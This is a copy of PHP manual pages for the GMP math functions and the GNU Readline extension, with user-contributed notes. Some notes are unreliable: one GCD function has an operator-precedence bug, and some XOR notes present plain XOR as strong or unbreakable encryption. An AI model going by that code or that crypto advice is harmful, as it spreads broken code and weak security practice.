13-Jan-2003 02:33
The following function is more accurate:

function GCD($num1, $num2) {
/* finds the greatest common factor between two numbers */
   while ($num2 != 0){
     $t = $num1 % $num2;
     $num1 = $num2;
     $num2 = $t;
   }
   return $num1;
}
x-empt-php dot net at ispep dot cx
07-Jul-2002 02:16
No need to compile gmp functions in just for the GCD function...  use this one instead:

function GCD($num1, $num2) {
 /* finds the greatest common factor between two numbers */
   if ($num1 < $num2) {
       $t = $num1;
       $num1 = $num2;
       $num2 = $t;
   }
   while ($t = ($num1 % $num2) != 0) {
       $num1 = $num2;
       $num2 = $t;
   }
   return $num2;
}
add a note add a note

后退 | 起点 | 前进
gmp_fact | 上一级 | gmp_gcdext


gmp_gcdext

(PHP 4 >= 4.0.4, PHP 5)

gmp_gcdext -- Calculate GCD and multipliers

Description

array gmp_gcdext ( resource a, resource b )

Calculates g, s, and t, such that a*s + b*t = g = gcd(a,b), where gcd is the greatest common divisor. Returns an array with respective elements g, s and t.

This function can be used to solve linear Diophantine equations in two variables. These are equations that allow only integer solutions and have the form: a*x + b*y = c. For more information, go to the "Diophantine Equation" page at MathWorld

例子 1. Solving a linear Diophantine equation

<?php
// Solve the equation a*s + b*t = g
// where a = 12, b = 21, g = gcd(12, 21) = 3
$a = gmp_init(12);
$b = gmp_init(21);
$g = gmp_gcd($a, $b);
$r = gmp_gcdext($a, $b);

$check_gcd = (gmp_strval($g) == gmp_strval($r['g']));
$eq_res = gmp_add(gmp_mul($a, $r['s']), gmp_mul($b, $r['t']));
$check_res = (gmp_strval($g) == gmp_strval($eq_res));

if ($check_gcd && $check_res) {
    $fmt = "Solution: %d*%d + %d*%d = %d\n";
    printf($fmt, gmp_strval($a), gmp_strval($r['s']), gmp_strval($b),
    gmp_strval($r['t']), gmp_strval($r['g']));
} else {
    echo "Error while solving the equation\n";
}

// output: Solution: 12*2 + 21*-1 = 3
?>

add a note add a note User Contributed Notes
FatPhil
15-Jun-2003 09:47
The extended GCD can be used to calculate mutual modular inverses of two
coprime numbers. Internally gmp_invert uses this extended GCD routine,
but effectively throws away one of the inverses.

If gcd(a,b)=1, then r.a+s.b=1
Therefore  r.a == 1 (mod s) and s.b == 1 (mod r)
Note that one of r and s will be negative, and so you'll want to
canonicalise it.
add a note add a note

后退 | 起点 | 前进
gmp_gcd | 上一级 | gmp_hamdist


gmp_hamdist

(PHP 4 >= 4.0.4, PHP 5)

gmp_hamdist -- Hamming distance

Description

int gmp_hamdist ( resource a, resource b )

Returns the hamming distance between a and b. Both operands should be non-negative.

例子 1. gmp_hamdist() example

<?php
$ham1 = gmp_init("1001010011", 2);
$ham2 = gmp_init("1011111100", 2);
echo gmp_hamdist($ham1, $ham2) . "\n";

/* hamdist is equivilent to: */
echo gmp_popcount(gmp_xor($ham1, $ham2)) . "\n";
?>

The printout of the above program will be:

6
6

See also gmp_popcount(), gmp_xor()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_gcdext | 上一级 | gmp_init


gmp_init

(PHP 4 >= 4.0.4, PHP 5)

gmp_init -- Create GMP number

Description

resource gmp_init ( mixed number [, int base] )

Creates a GMP number from an integer or string. String representation can be decimal or hexadecimal. In the latter case, the string should start with 0x. Optional parameter base is available since PHP 4.1.0.

例子 1. Creating GMP number

<?php
$a = gmp_init(123456);
$b = gmp_init("0xFFFFDEBACDFEDF7200");
?>

注: It is not necessary to call this function if you want to use integer or string in place of GMP number in GMP functions, like gmp_add(). Function arguments are automatically converted to GMP numbers, if such conversion is possible and needed, using the same rules as gmp_init().

add a note add a note User Contributed Notes
thomas dot hebinck at digionline dot de
19-Aug-2005 01:23
If you call a gmp_* function directly with an interger as parameter, this integer MUST NOT be 0:

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,$i))) . ' ';  }

The result is 1 0 3 (wrong)

In this case you have to use gmp_init():

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,gmp_init($i)))) . ' ';  }

The result is 1 2 3 (right)

Happy number crunching! :-)
add a note add a note

后退 | 起点 | 前进
gmp_hamdist | 上一级 | gmp_intval


gmp_intval

(PHP 4 >= 4.0.4, PHP 5)

gmp_intval -- Convert GMP number to integer

Description

int gmp_intval ( resource gmpnumber )

This function allows to convert GMP number to integer.

警告

This function returns a useful result only if the number actually fits the PHP integer (i.e., signed long type). If you want just to print the GMP number, use gmp_strval().

例子 1. gmp_intval() example

<?php
// displays correct result
echo gmp_intval("2147483647") . "\n";

// displays wrong result, above PHP integer limit
echo gmp_intval("2147483648") . "\n";

// displays correct result
echo gmp_strval("2147483648") . "\n";
?>

The printout of the above program will be:

2147483647
2147483647
2147483648

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_init | 上一级 | gmp_invert


gmp_invert

(PHP 4 >= 4.0.4, PHP 5)

gmp_invert -- Inverse by modulo

Description

resource gmp_invert ( resource a, resource b )

Computes the inverse of a modulo b. Returns FALSE if an inverse does not exist.

例子 1. gmp_invert() example

<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE
$invert = gmp_invert("5", "11");
echo gmp_strval($invert) . "\n";
?>

The printout of the above program will be:

9

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_intval | 上一级 | gmp_jacobi


gmp_jacobi

(PHP 4 >= 4.0.4, PHP 5)

gmp_jacobi -- Jacobi symbol

Description

int gmp_jacobi ( resource a, resource p )

Computes Jacobi symbol of a and p. p should be odd and must be positive.

例子 1. gmp_jacobi() example

<?php
echo gmp_jacobi("1", "3") . "\n";
echo gmp_jacobi("2", "3") . "\n";
?>

The printout of the above program will be:

1
0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_invert | 上一级 | gmp_legendre


gmp_legendre

(PHP 4 >= 4.0.4, PHP 5)

gmp_legendre -- Legendre symbol

Description

int gmp_legendre ( resource a, resource p )

Compute the Legendre symbol of a and p. p should be odd and must be positive.

例子 1. gmp_legendre() example

<?php
echo gmp_legendre("1", "3") . "\n";
echo gmp_legendre("2", "3") . "\n";
?>

The printout of the above program will be:

1
0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_jacobi | 上一级 | gmp_mod


gmp_mod

(PHP 4 >= 4.0.4, PHP 5)

gmp_mod -- Modulo operation

Description

resource gmp_mod ( resource n, resource d )

Calculates n modulo d. The result is always non-negative, the sign of d is ignored.

例子 1. gmp_mod() example

<?php
$mod = gmp_mod("8", "3");
echo gmp_strval($mod) . "\n";
?>

The printout of the above program will be:

2

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_legendre | 上一级 | gmp_mul


gmp_mul

(PHP 4 >= 4.0.4, PHP 5)

gmp_mul -- Multiply numbers

Description

resource gmp_mul ( resource a, resource b )

Multiplies a by b and returns the result.

例子 1. gmp_mul() example

<?php
$mul = gmp_mul("12345678", "2000");
echo gmp_strval($mul) . "\n";
?>

The printout of the above program will be:

24691356000

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_mod | 上一级 | gmp_neg


gmp_neg

(PHP 4 >= 4.0.4, PHP 5)

gmp_neg -- Negate number

Description

resource gmp_neg ( resource a )

Returns -a.

例子 1. gmp_neg() example

<?php
$neg1 = gmp_neg("1");
echo gmp_strval($neg1) . "\n";
$neg2 = gmp_neg("-1");
echo gmp_strval($neg2) . "\n";
?>

The printout of the above program will be:

-1
1

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_mul | 上一级 | gmp_or


gmp_or

(PHP 4 >= 4.0.4, PHP 5)

gmp_or -- Logical OR

Description

resource gmp_or ( resource a, resource b )

Calculates logical inclusive OR of two GMP numbers.

例子 1. gmp_or() example

<?php
$or1 = gmp_or("0xfffffff2", "4");
echo gmp_strval($or1, 16) . "\n";
$or2 = gmp_or("0xfffffff2", "2");
echo gmp_strval($or2, 16) . "\n";
?>

The printout of the above program will be:

fffffff6
fffffff2

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_neg | 上一级 | gmp_perfect_square


gmp_perfect_square

(PHP 4 >= 4.0.4, PHP 5)

gmp_perfect_square -- Perfect square check

Description

bool gmp_perfect_square ( resource a )

Returns TRUE if a is a perfect square, FALSE otherwise.

例子 1. gmp_perfect_square() example

<?php
// 3 * 3, perfect square
var_dump(gmp_perfect_square("9"));

// not a perfect square
var_dump(gmp_perfect_square("7"));

// 1234567890 * 1234567890, perfect square
var_dump(gmp_perfect_square("1524157875019052100"));
?>

The printout of the above program will be:

bool(true)
bool(false)
bool(true)

See also: gmp_sqrt(), gmp_sqrtrem().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_or | 上一级 | gmp_popcount


gmp_popcount

(PHP 4 >= 4.0.4, PHP 5)

gmp_popcount -- Population count

Description

int gmp_popcount ( resource a )

Return the population count of a.

例子 1. gmp_popcount() example

<?php
$pop1 = gmp_init("10000101", 2); // 3 1's
echo gmp_popcount($pop1) . "\n";
$pop2 = gmp_init("11111110", 2); // 7 1's
echo gmp_popcount($pop2) . "\n";
?>

The printout of the above program will be:

3
7

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_perfect_square | 上一级 | gmp_pow


gmp_pow

(PHP 4 >= 4.0.4, PHP 5)

gmp_pow -- Raise number into power

Description

resource gmp_pow ( resource base, int exp )

Raise base into power exp. The case of 0^0 yields 1. exp cannot be negative.

例子 1. gmp_pow() example

<?php
$pow1 = gmp_pow("2", 31);
echo gmp_strval($pow1) . "\n";
$pow2 = gmp_pow("0", 0);
echo gmp_strval($pow2) . "\n";
$pow3 = gmp_pow("2", -1); // Negative exp, generates warning
echo gmp_strval($pow3) . "\n";
?>

The printout of the above program will be:

2147483648
1

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_popcount | 上一级 | gmp_powm


gmp_powm

(PHP 4 >= 4.0.4, PHP 5)

gmp_powm -- Raise number into power with modulo

Description

resource gmp_powm ( resource base, resource exp, resource mod )

Calculate (base raised into power exp) modulo mod. If exp is negative, result is undefined.

例子 1. gmp_powm() example

<?php
$pow1 = gmp_powm("2", "31", "2147483649");
echo gmp_strval($pow1) . "\n";
?>

The printout of the above program will be:

2147483648

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_pow | 上一级 | gmp_prob_prime


gmp_prob_prime

(PHP 4 >= 4.0.4, PHP 5)

gmp_prob_prime -- Check if number is "probably prime"

Description

int gmp_prob_prime ( resource a [, int reps] )

If this function returns 0, a is definitely not prime. If it returns 1, then a is "probably" prime. If it returns 2, then a is surely prime. Reasonable values of reps vary from 5 to 10 (default being 10); a higher value lowers the probability for a non-prime to pass as a "probable" prime.

The function uses Miller-Rabin's probabilistic test.

例子 1. gmp_prob_prime() example

<?php
// definitely not a prime
echo gmp_prob_prime("6") . "\n";

// probably a prime
echo gmp_prob_prime("1111111111111111111") . "\n";

// definitely a prime
echo gmp_prob_prime("11") . "\n";
?>

The printout of the above program will be:

0
1
2

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_powm | 上一级 | gmp_random


gmp_random

(PHP 4 >= 4.0.4, PHP 5)

gmp_random -- Random number

Description

resource gmp_random ( int limiter )

Generate a random number. The number will be between zero and the number of bits per limb multiplied by limiter. If limiter is negative, negative numbers are generated.

A limb is an internal GMP mechanism. The number of bits in a limb is not static, and can vary from system to system. Generally, the number of bits in a limb is either 16 or 32, but this is not guaranteed.

例子 1. gmp_random() example

<?php
$rand1 = gmp_random(1); // random number from 0 to 1 * bits per limb
$rand2 = gmp_random(2); // random number from 0 to 2 * bits per limb

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

The printout of the above program might be:

1915834968
8642564075890328087

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_prob_prime | 上一级 | gmp_scan0


gmp_scan0

(PHP 4 >= 4.0.4, PHP 5)

gmp_scan0 -- Scan for 0

Description

int gmp_scan0 ( resource a, int start )

Scans a, starting with bit start, towards more significant bits, until the first clear bit is found. Returns the index of the found bit. The index starts from 0.

例子 1. gmp_scan0() example

<?php
// "0" bit is found at position 3. index starts at 0
$s1 = gmp_init("10111", 2);
echo gmp_scan0($s1, 0) . "\n";

// "0" bit is found at position 7. index starts at 5
$s2 = gmp_init("101110000", 2);
echo gmp_scan0($s2, 5) . "\n";
?>

The printout of the above program will be:

3
7

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_random | 上一级 | gmp_scan1


gmp_scan1

(PHP 4 >= 4.0.4, PHP 5)

gmp_scan1 -- Scan for 1

Description

int gmp_scan1 ( resource a, int start )

Scans a, starting with bit start, towards more significant bits, until the first set bit is found. Returns the index of the found bit. If no set bit is found, -1 is returned.

例子 1. gmp_scan1() example

<?php
// "1" bit is found at position 3. index starts at 0
$s1 = gmp_init("01000", 2);
echo gmp_scan1($s1, 0) . "\n";

// "1" bit is found at position 9. index starts at 5
$s2 = gmp_init("01000001111", 2);
echo gmp_scan1($s2, 5) . "\n";
?>

The printout of the above program will be:

3
9

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_scan0 | 上一级 | gmp_setbit


gmp_setbit

(PHP 4 >= 4.0.4, PHP 5)

gmp_setbit -- Set bit

Description

void gmp_setbit ( resource &a, int index [, bool set_clear] )

Sets bit index in a. set_clear defines if the bit is set to 0 or 1. By default the bit is set to 1. Index starts at 0.

注: Unlike most of the other GMP functions, gmp_setbit() must be called with a GMP resource that already exists (using gmp_init() for example). One will not be automatically created.

例子 1. gmp_setbit() example

<?php
$a = gmp_init("0xfd");
gmp_setbit($a, 1); // index starts at 0
echo gmp_strval($a) . "\n";
?>

The printout of the above program will be:

255

See also gmp_clrbit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_scan1 | 上一级 | gmp_sign


gmp_sign

(PHP 4 >= 4.0.4, PHP 5)

gmp_sign -- Sign of number

Description

int gmp_sign ( resource a )

Returns 1 if a is positive, -1 if a is negative, and 0 if a is zero.

例子 1. gmp_sign() example

<?php
// positive
echo gmp_sign("500") . "\n";

// negative
echo gmp_sign("-500") . "\n";

// zero
echo gmp_sign("0") . "\n";
?>

The printout of the above program will be:

1
-1
0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_setbit | 上一级 | gmp_sqrt


gmp_sqrt

(PHP 4 >= 4.0.4, PHP 5)

gmp_sqrt -- Calculate square root

Description

resource gmp_sqrt ( resource a )

Calculates square root of a and returns the integer portion of the result.

例子 1. gmp_sqrt() example

<?php
$sqrt1 = gmp_sqrt("9");
$sqrt2 = gmp_sqrt("7");
$sqrt3 = gmp_sqrt("1524157875019052100");

echo gmp_strval($sqrt1) . "\n";
echo gmp_strval($sqrt2) . "\n";
echo gmp_strval($sqrt3) . "\n";
?>

The printout of the above program will be:

3
2
1234567890

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_sign | 上一级 | gmp_sqrtrem


gmp_sqrtrem

(PHP 4 >= 4.0.4, PHP 5)

gmp_sqrtrem -- Square root with remainder

Description

array gmp_sqrtrem ( resource a )

Returns array where first element is the integer square root of a (see also gmp_sqrt()), and the second is the remainder (i.e., the difference between a and the first element squared).

例子 1. gmp_sqrtrem() example

<?php
list($sqrt1, $sqrt1rem) = gmp_sqrtrem("9");
list($sqrt2, $sqrt2rem) = gmp_sqrtrem("7");
list($sqrt3, $sqrt3rem) = gmp_sqrtrem("1048576");

echo gmp_strval($sqrt1) . ", " . gmp_strval($sqrt1rem) . "\n";
echo gmp_strval($sqrt2) . ", " . gmp_strval($sqrt2rem) . "\n";
echo gmp_strval($sqrt3) . ", " . gmp_strval($sqrt3rem) . "\n";
?>

The printout of the above program will be:

3, 0
2, 3
1024, 0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_sqrt | 上一级 | gmp_strval


gmp_strval

(PHP 4 >= 4.0.4, PHP 5)

gmp_strval -- Convert GMP number to string

Description

string gmp_strval ( resource gmpnumber [, int base] )

Convert GMP number to string representation in base base. The default base is 10. Allowed values for the base are from 2 to 36.

例子 1. Converting a GMP number to a string

<?php
$a = gmp_init("0x41682179fbf5");
printf("Decimal: %s, 36-based: %s", gmp_strval($a), gmp_strval($a,36));
?>

add a note add a note User Contributed Notes
caldwell at utm dot NoSpamPlease dot edu
22-Jul-2001 11:17
Warning: gmp_strval may return a null terminated string (e.g., gmp_strval(gmp_init(8)) has two characters. This is because gmp is built for speed, so uses estimates based on things it can get quickly, like the number of bits in N. So since 8 is a 4 bit number, it will be allocated ceil(log10(2^4))=ceil(4*0.30103....) = 2 characters. The gmp folks feel it is the caller's responsibility (in this case the PHP interface) to check whether or not all the characters were required.  PHP might have done this for us (and may in the future), but for now, you need to check (if it matters to you--it sure did in my program!).
add a note add a note

后退 | 起点 | 前进
gmp_sqrtrem | 上一级 | gmp_sub


gmp_sub

(PHP 4 >= 4.0.4, PHP 5)

gmp_sub -- Subtract numbers

Description

resource gmp_sub ( resource a, resource b )

Subtracts b from a and returns the result.

例子 1. gmp_sub() example

<?php
$sub = gmp_sub("281474976710656", "4294967296"); // 2^48 - 2^32
echo gmp_strval($sub) . "\n";
?>

The printout of the above program will be:

281470681743360

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_strval | 上一级 | gmp_xor


gmp_xor

(PHP 4 >= 4.0.4, PHP 5)

gmp_xor -- Logical XOR

Description

resource gmp_xor ( resource a, resource b )

Calculates logical exclusive OR (XOR) of two GMP numbers.

例子 1. gmp_xor() example

<?php
$xor1 = gmp_init("1101101110011101", 2);
$xor2 = gmp_init("0110011001011001", 2);

$xor3 = gmp_xor($xor1, $xor2);

echo gmp_strval($xor3, 2) . "\n";
?>

The printout of the above program will be:

1011110111000100

add a note add a note User Contributed Notes
kimcbrowne at hotmail dot com
04-Oct-2005 10:48
To be unbreakable XOR encryption must have a key that is totally random and is never re-used.  If you use a key a second time, it can be broken.  This can be confirmed by reading the page at http://en.wikipedia.org/wiki/One-time_pad.

Although I am not an expert on cryptography, I understand that decyphering involves recognizing patterns and that it would be possible to decrypt code that was encoded using XOR with the same key if there were enough samples to examine.  Maintaining unique keys for each encryption at both encryption and decryption points to ensure 100 percent unbreakability has security problems of its own - where and how are the keys stored and how are they transmitted to the decryption points?
bukaj at bukaj dot net
29-Mar-2005 09:38
XOR encryption is an ultimate encryption algorithm. It can't be be broken. It is used to encrypt stealth submarine's orders. I cannot agree with "kid-sister" post below. If you use vast key (as long as encrypted message) which is random (space noise recorded on a cd), the encrypted message is also radnom - impossible to decrypt without key. Under those conditions, XOR is strongest encryption algorithm ever known.
patm at pureconnection dot net
08-Jan-2004 09:22
XOR encryption only works if the key is at liest the same size as the plaintext, and the key is perfectly random. And no, rand() is not perfectly random.
mikko at entris dot net
15-Jul-2002 05:33
The logical XOR can be used for encrypting data. Use resource A as your original text and resource B as the key. Be sure to use long enough key so that the key doesn't loop. Decryption works the same way, input encrypted text as res A and key as res B.
add a note add a note

后退 | 起点 | 前进
gmp_sub | 上一级 | GNU Readline


GNU Readline

PHP 手册
后退 前进

XLV. GNU Readline

简介

The readline() functions implement an interface to the GNU Readline library. These are functions that provide editable command lines. An example being the way Bash allows you to use the arrow keys to insert characters or scroll through command history. Because of the interactive nature of this library, it will be of little use for writing Web applications, but may be useful when writing scripts used from a command line.

注: 本扩展模块在 Windows 平台下不可用。

需求

To use the readline functions, you need to install libreadline. You can find libreadline on the home page of the GNU Readline project, at http://cnswww.cns.cwru.edu/~chet/readline/rltop.html. It's maintained by Chet Ramey, who's also the author of Bash.

You can also use these functions with the libedit library, a non-GPL replacement for the readline library. The libedit library is BSD licensed and available for download from http://sourceforge.net/projects/libedit/.

安装

To use these functions you must compile the CGI or CLI version of PHP with readline support. You need to configure PHP --with-readline[=DIR]. In order you want to use the libedit readline replacement, configure PHP --with-libedit[=DIR].

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
readline_add_history -- Adds a line to the history
readline_callback_handler_install -- Initializes the readline callback interface and terminal, prints the prompt and returns immediately
readline_callback_handler_remove -- Removes a previously installed callback handler and restores terminal settings
readline_callback_read_char -- Reads a character and informs the readline callback interface when a line is received
readline_clear_history -- Clears the history
readline_completion_function -- Registers a completion function
readline_info -- Gets/sets various internal readline variables
readline_list_history -- Lists the history
readline_on_new_line -- Inform readline that the cursor has moved to a new line
readline_read_history -- Reads the history
readline_redisplay -- Ask readline to redraw the display
readline_write_history -- Writes the history
readline -- Reads a line

add a note add a note User Contributed Notes
flobee
29-Apr-2006 01:29
re to: ds at NOSPAM dot undesigned dot org dot za

cool program! note when trying to exec() something:
in the while loop you need to reset exec() returns or you will get all results of all executions (on my my windows and or cygwin :-(
like:
<?php
// your class prompt()

echo "Enter something or 'exit' to quit\n";
do {
   $cmdline = new prompt();
   $buffer = $cmdline->get('shell command: ');
// init/ reset first!
   $data = null;
   $return = null;
// now start:
   echo "You said: $buffer\n";
   if (!empty($buffer)) {
       $x = exec($buffer, $data, $return);
       print_r($data);
   }
} while ($buffer !== "exit");
echo "Goodbye\n";
jeffrey at thompsonic dot com
22-Feb-2005 10:18
Here's an easy way without readline() if you don't have it compiled in already:

   $fp = fopen("php://stdin","r");
   $line = rtrim(fgets($fp, 1024);
jcl atNOSPAM jcl dot name
24-Nov-2004 01:40
Even better than 'plz at dont dot spam' in only one line :) :

@c:\\php\\cli\\php.exe script.php %*

Cheers,
Jean-Charles
plz at dont dot spam
08-Aug-2004 04:50
To get all arguments passed to a batch file in one variable
rather than using %1 %2 %3 etc;

:LOOP
if "%1" == "" goto DONE
set args=%args% %1
shift
goto LOOP
:DONE
@c:\\php\\cli\\php.exe script.php %args%
set args=
ds at NOSPAM dot undesigned dot org dot za
05-Dec-2003 12:04
You can open /dev/tty on unix systems or \con in windows, with ob_implicit_flush(true) to write output unbuffered.  Works like a charm :-)

-------------------------------

#!/usr/local/bin/php -q
<?php

set_time_limit(0);
@ob_end_flush();
ob_implicit_flush(true);

class prompt {
  var $tty;

  function prompt() {
   if (substr(PHP_OS, 0, 3) == "WIN") {
     $this->tty = fOpen("\con", "rb");
   } else {
     if (!($this->tty = fOpen("/dev/tty", "r"))) {
       $this->tty = fOpen("php://stdin", "r");
     }
   }
  }

  function get($string, $length = 1024) {
   echo $string;
   $result = trim(fGets($this->tty, $length));
   echo "\n";
   return $result;
  }
}

echo "Enter something or 'exit' to quit\n";
do {
  $cmdline = new prompt();
  $buffer = $cmdline->get("Something: ");
  echo "You said: $buffer\n";
} while ($buffer !== "exit");
echo "Goodbye\n";

?>
jewfish at jewfish dot net
11-Jun-2002 07:05
There is a simpler way to do a multiline read than above:

function multiline() {
   while(($in = readline("")) != ".")
       $story .= ($PHP_OS == "WINNT") ? "\r\n".$in :
                                         "\n".$in;

   return $story;
}
joshua at neocodesoftware.com
21-Apr-2002 06:17
Here's an example simple readline-like way to input from command line on windows - the single line is from http://www.phpbuilder.com/columns/darrell20000319.php3, the multiline is something I added...

<?
function read () {
   # 4092 max on win32 fopen

   $fp=fopen("php://stdin", "r");
   $in=fgets($fp,4094);
   fclose($fp);

   # strip newline
   (PHP_OS == "WINNT") ? ($read = str_replace("\r\n", "", $in)) : ($read = str_replace("\n", "", $in));

   return $read;
}

function multilineread () {
   do {
       $in = read();

       # test exit
       if ($in == ".") return $read;

       # concat input
       (PHP_OS == "WINNT") ? ($read = $read . ($read ? "\r\n" : "") . $in) : ($read = $read . "\n" . $in);

   } while ($inp != ".");

   return $read;
}

print("End input with . on line by itself.\n");

print("What is your first name?\n");
$first_name = multilineread();

print("What is your last name?\n");
$last_name = read();

print("\nHello, $first_name $last_name! Nice to meet you! \n");
?>
14-Apr-2002 10:17
[Ed. note: you can use fopen("php://stdin", "w") to achieve the same thing, works on both Windows and Unix)]

I wanted to get console input in a PHP script running on windows, so I made a little hack, which is so simple, it is clearly public domain.  What I did was write a C++ program to get a line, then output it.  Then all that is needed is to exec() that program and capture the output - readline() for windows.  The C++ source is as follows:

#include <iostream.h>
#include <string>
void main()
{
   string input;
   cin >> input;
   cout << input;
}

It works wonderfully for my purposes, since I love the PHP language and want to have console input.

Justin Henck
add a note add a note

后退 | 起点 | 前进
gmp_xor | 上一级 | readline_add_history


readline_add_history

(PHP 4, PHP 5)

readline_add_history -- Adds a line to the history

Description

bool readline_add_history ( string line )

This function adds a line to the command line history.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
GNU Readline | 上一级 | readline_callback_handler_install


readline_callback_handler_install

(PHP 5 >= 5.1.0RC1)

readline_callback_handler_install -- Initializes the readline callback interface and terminal, prints the prompt and returns immediately

说明

bool readline_callback_handler_install ( string prompt, callback callback )

Sets up a readline callback interface then prints prompt and immediately returns. The callback function takes one parameter; the user input returned. Calling this function twice without removing the previous callback interface will automatically and conveniently overwrite the old interface.

The callback feature is useful when combined with stream_select() as it allows interleaving of IO and user input, unlike readline().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Readline Callback Interface Example

<?php
function rl_callback($ret)
{
    global $c, $prompting;

    echo "You entered: $ret\n";
    $c++;

    if ($c > 10) {
        $prompting = false;
        readline_callback_handler_remove();
    } else {
        readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');
    }
}

$c = 1;
$prompting = true;

readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');

while ($prompting) {
    $n = stream_select($r = array(STDIN), $w = null, $e = null, null);
    if ($n && in_array(STDIN, $r)) {
        // read a character, will call the callback when a newline is entered
        readline_callback_read_char();
    }
}

echo "Prompting disabled. All done.\n";
?>

参见

readline_callback_handler_remove(),
readline_callback_read_char() 和
stream_select().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_add_history | 上一级 | readline_callback_handler_remove


readline_callback_handler_remove

(PHP 5 >= 5.1.0RC1)

readline_callback_handler_remove -- Removes a previously installed callback handler and restores terminal settings

说明

bool readline_callback_handler_remove ( void )

Removes a previously installed callback handler and restores terminal settings.

范例

See readline_callback_handler_install() for an example of how to use the readline callback interface.

返回值

Returns TRUE if a previously installed callback handler was removed, or FALSE if one could not be found.

参见

readline_callback_handler_install(), and readline_callback_read_char().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_callback_handler_install | 上一级 | readline_callback_read_char


readline_callback_read_char

(PHP 5 >= 5.1.0RC1)

readline_callback_read_char -- Reads a character and informs the readline callback interface when a line is received

说明

void readline_callback_read_char ( void )

Reads a character of user input. When a line is received, this function informs the readline callback interface installed using readline_callback_handler_install() that a line is ready for input.

范例

See readline_callback_handler_install() for an example of how to use the readline callback interface.

参见

readline_callback_handler_install(), and readline_callback_handler_remove().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_callback_handler_remove | 上一级 | readline_clear_history


readline_clear_history

(PHP 4, PHP 5)

readline_clear_history -- Clears the history

Description

bool readline_clear_history ( void )

This function clears the entire command line history.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_callback_read_char | 上一级 | readline_completion_function


readline_completion_function

(PHP 4, PHP 5)

readline_completion_function -- Registers a completion function

Description

bool readline_completion_function ( callback function )

This function registers a completion function. You must supply the name of an existing function which accepts a partial command line and returns an array of possible matches. This is the same kind of functionality you'd get if you hit your tab key while using Bash.

add a note add a note User Contributed Notes
david at acz dot org
02-Feb-2005 04:08
This function can simply return an array of all possible matches (regardless of the current user intput) and readline will handle the matching itself.  This is likely to be much faster than attempting to handle partial matches in PHP.
john at weider dot cc
22-Sep-2002 12:32
It seems that the registered function can accept 2 parameters, the first being the partial string, the second a number that when equal to zero indicates that the tab was hit on the first argument on the input. Otherwise it looks like the position within the string is returned.

This is neccessary information for processing shell command line input.
add a note add a note

后退 | 起点 | 前进
readline_clear_history | 上一级 | readline_info


readline_info

(PHP 4, PHP 5)

readline_info -- Gets/sets various internal readline variables

Description

mixed readline_info ( [string varname [, string newvalue]] )

If called with no parameters, this function returns an array of values for all the setting readline uses. The elements will be indexed by the following values: done, end, erase_empty_line, library_version, line_buffer, mark, pending_input, point, prompt, readline_name, and terminal_name.

If called with one parameter, the value of that setting is returned. If called with two parameters, the setting will be changed to the given value.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_completion_function | 上一级 | readline_list_history


readline_list_history

(PHP 4, PHP 5)

readline_list_history -- Lists the history

Description

array readline_list_history ( void )

This function returns an array of the entire command line history. The elements are indexed by integers starting at zero.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_info | 上一级 | readline_on_new_line


readline_on_new_line

(PHP 5 >= 5.1.0RC1)

readline_on_new_line -- Inform readline that the cursor has moved to a new line

Description

void readline_on_new_line ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_list_history | 上一级 | readline_read_history


readline_read_history

(PHP 4, PHP 5)

readline_read_history -- Reads the history

Description

bool readline_read_history ( [string filename] )

This function reads a command history from a file.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

